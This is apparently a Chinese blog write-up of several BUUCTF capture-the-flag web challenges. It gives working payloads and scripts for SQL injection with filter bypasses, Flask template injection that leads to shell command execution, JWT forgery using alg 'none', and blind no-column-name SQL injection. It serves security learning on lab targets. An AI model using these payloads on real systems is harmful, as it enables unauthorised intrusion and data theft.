buuctf17

[RCTF2015]EasySQL

又是二次注入,注册登录改密

<?php

session_start();

header("Content-Type: text/html; charset=UTF-8");


require_once 'config.php';
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';

if(isset($_POST['oldpass']) && isset($_POST['newpass'])){
$oldpass = md5($_POST['oldpass']);
$newpass = md5($_POST['newpass']);
$username = $_SESSION['username'];
$sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";
// var_dump($sql);
$query = mysql_query($sql);
if($query){
exit('');
}else{
die(mysql_error());
}
}
?>

直接看这段代码吧,username此时是没有被md5加密的,也就是说这是我们的利用点

function check($string)
{
//$string = preg_replace("#(\s)|(/\*.*\*/)#i", "", $string);
$postfilter = "#(\s)|(/\*.*\*/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i";
if(preg_match($postfilter, $string,$matches))
{
echo "<script>alert('invalid string!')</script>";
die();
}
else
return $string;
}

这是过滤内容,所以我们可以闭合username

adm"extractvalue(1,concat(database()))#

z这边看到一个师傅的payload

test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

有意思的是 flag所在的列名没有完全出来,于是就使用了正则匹配匹配字符r得到flag
img

最后要记得翻转哈,不然长度限制了

[CSCCTF 2019 Qual]FlaskLight

查看源码有提示,SSTI注入
直接上payload

怎么说 我忘记保存了–

一开始没发现过滤东西,
img
找到了读文件的file方法,但是不知道flag位置
于是尝试其他方法,发现会跳转500,感觉是什么被过滤了,发现是globals

尝试一下绕过:发现拼接法可以绕过:

{{"".__class__.__mro__[2].__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen("ls").read()}}

接下来就可以随便使用命令
这里没用builitins当跳板,因为eval被禁用了,直接用上面这个更简洁

然后这里说一下wp的方法,感觉挺新奇的:

inux下有一个文件/proc/self/environ,这个文件里保存了系统的一些变量。

img
{{"".__class__.__mro__[-1].__subclasses__()[40]('/flasklight/app.py').read()}}

读取源码
发现提示:

CCC{the_flag_is_this_dir}

但是不知道flag的文件名
WP说可以利用subprocess.Popen这个类,无需globals也可以进行读取

import requests
url="http://202f932e-6c5b-47c0-9de9-0a1627399bb6.node3.buuoj.cn/?search="
s=requests.session()

for i in range(1,1000):
payload = "{{''.__class__.__mro__[-1].__subclasses__()[%s]}}"%i
print(payload)
if 'subprocess.Popen' in s.get(url+payload).text:
print(i)
break

结果是258
payload:

{{[].__class__.__bases__[0].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

不过也挺麻烦的==

[HITCON 2017]SSRFme

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

之前做过了 在i春秋10 就是利用get里面的perl命令执行,然后这题好像没有flag–

[HFCTF2020]EasyLogin

注册——登录 F12查看源码:

/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

知道是koa-static

不知道是个啥 是node.js吧?于是乎去学习一下看了一下wp说是要在controllers下的api.js才是真正的源码

node.js

由于本题是基于koa框架的,所以需要了解他的一些基础信息

koa框架常用目录、文件

img

看了这个框架后很明显,我们需要找的是处理逻辑,但是本题中,处理逻辑放在
controllers/api.js文件下(经验),有的controllers默认目录下的文件就是api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});//jwt验证

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

看了一下代码,主要是是要伪造jwt为admin然后就可以读取flag惹=-=
印象中之前也做过一题伪造jwt了
img

吧这个autho啥的拿去https://jwt.io/这个网站解码
然后jwt会防篡改,这里绕过的姿势就是将HS256改为none,然后构造:

{"alg":"none","typ":"JWT"}.{"secretid": [],"username": "admin","password": "123456","iat": 1623114083}.
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTYyMzEzMzA0NX0.Qjxs0QkJ0e_Sjrn8WbCPKaE5kFouERQY8RZ6nGctW6Q
img 记得将username换成admin,然后登陆进去以后抓包按getflag就行

jwt攻击小结

jwt就是一种验证方式,思路就是拿到密文,然后去网站解密https://jwt.io/,修改其中的值,再加密回去,本地能绕过是因为验证方式比较简单:首先签名算法确保恶意用户在传输过程中不会修改JWT,但是jwt支持无签名算法,**所以如果将alg的加密方式改为none**,就不用对jwt进行签名,这样jwt的存在就没有意义了。

secret更改为数组的原因是也是和上面的更改none方法相呼应,因为只有secret更改为空这个方法才有效
但是本题为什么更改为数组?为什么不直接放空白,这点在他的源码有写,secret不能为空
js是弱类型语言,secret设为一个数组或小数,比较永远为真,但是并且不为空。

攻击思路:
注册获得jwt——更改jwt——重新进入

[GYCTF2020]Ezsqli

SQL注入,数字型注入,过滤infomation,推测要无列名注入了
接下来测试一下注入点发现

id=1和id=2回显不一样

这里有个细节需要说一下,由于and被过滤了,&&在url传输过程中有其他含义,不好用,所以这里用的|,但是用|的话就需要我们让id=2,这样 两个都错才是v&n,一个对一个错就是nu1l,如果是id=1,就会一直是nu1l

接下来就贴脚本惹:

import requests
url="http://38e59c90-abd2-495b-8ea0-e256893cdce2.node3.buuoj.cn/index.php"
s=requests.session()
database=""
for i in range(1,100000000):
low=0
high=264
mid = (low + high) // 2
while(low<high):
#payload_1=f"2||ascii(substr(database(),{i},1))>{mid}"#爆库give_grandpa_pa_pa_pa
#payload_2=f"2||ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{i},1))>{mid}"#f1ag_1s_h3r3_hhhhh
payload_2 = f"2||ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),{i},1))>{mid}"#像无列名注入很经常列名都是flag,好几次了,

#print(payload_2)
#payload_2=
data={
"id":payload_2
}
print(s.post(url,data=data).text)
if "Nu1L" in s.post(url,data=data).text:
low=mid+1
else:
high=mid
mid = (low + high) // 2
if (mid == 0 or mid == 264):
break
database += chr(mid)
print(database)
print(database)

有个很无语的事,就是一旦请求多了,网页就会崩溃–,所以很痛苦

我还一直在想是出了什么问题了,就算把线程改为1也不行–
img

img

由于本题过滤了union 所以常规的无列名注入在这里就行不通了
这里学习一下

无列名按位比较注入

import requests
s=requests.session()
url="http://38e59c90-abd2-495b-8ea0-e256893cdce2.node3.buuoj.cn/index.php"
payload=""
def trans(flag):
res=''
for i in flag:
res+=hex(ord(i))
res='0x'+res.replace('0x','')
return res
flag=''
for i in range(1,500):
hexchar=''
for char in range(32,126):
hexchar = trans(flag+chr(char))
payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
data = {
'id': payload
}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char - 1)
print(flag)
break

1.说一下原理,这里是使用了一个比较的思想,先比第一位,如果第一位相等则比较第二位,在某一位上,如果前者的 ASCII 大,不管总长度如何,ASCII 大的则大

2.所以这里需要两个循环,一个循环记录次数,一个循环放字符

无列名注入小结:

无列名注入可能是之前都没小结过,每次都要翻一下记录:
这里总结一下方便记忆的公式吧

select b from (select 1,2 as b,3 union select * from users)a;
虚拟列名 字段数 并且将要显示的 as b 表名 任意字母
(select 1,爆破内容)>(select * from 表名)
Author

vague huang

Posted on

2021-06-05

Updated on

2021-06-08

Licensed under

Comments